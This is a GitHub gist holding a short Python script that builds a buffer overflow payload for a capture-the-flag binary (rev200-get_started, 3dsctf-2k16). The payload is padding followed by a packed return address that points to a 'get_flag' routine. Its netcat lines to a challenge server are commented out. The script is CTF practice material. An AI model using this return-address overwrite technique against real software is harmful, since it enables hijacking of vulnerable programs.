Skip to content

Instantly share code, notes, and snippets.

@intrd
Last active March 3, 2017 06:00
Show Gist options
  • Save intrd/cd21b773134e4729d3f31829f7a768ab to your computer and use it in GitHub Desktop.
Save intrd/cd21b773134e4729d3f31829f7a768ab to your computer and use it in GitHub Desktop.
Buffer overflow using netcat.py to exploit rev200-get_started buffer @ 3dsctf-2k16
#!/usr/bin/python
## Buffer overflow using netcat.py to exploit rev200-get_started buffer @ 3dsctf-2k16
# @author intrd - http://dann.com.br/
# @license Creative Commons Attribution-ShareAlike 4.0 International License - http://creativecommons.org/licenses/by-sa/4.0/
# int_netcat.py - https://gist.github.com/intrd/00a39c83f752acf81775bfa9721e745a
import sys, socket, struct
sys.path.append("../../LIBS/")
from int_netcat import Netcat
#nc = Netcat('54.175.35.248', 8005)
payload = "a"*56
payload += struct.pack("<I", 0x080489b8) #get_flag inside
payload += "\n"
print payload
#nc.write(payload)
#print nc.read()
#nc.close()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment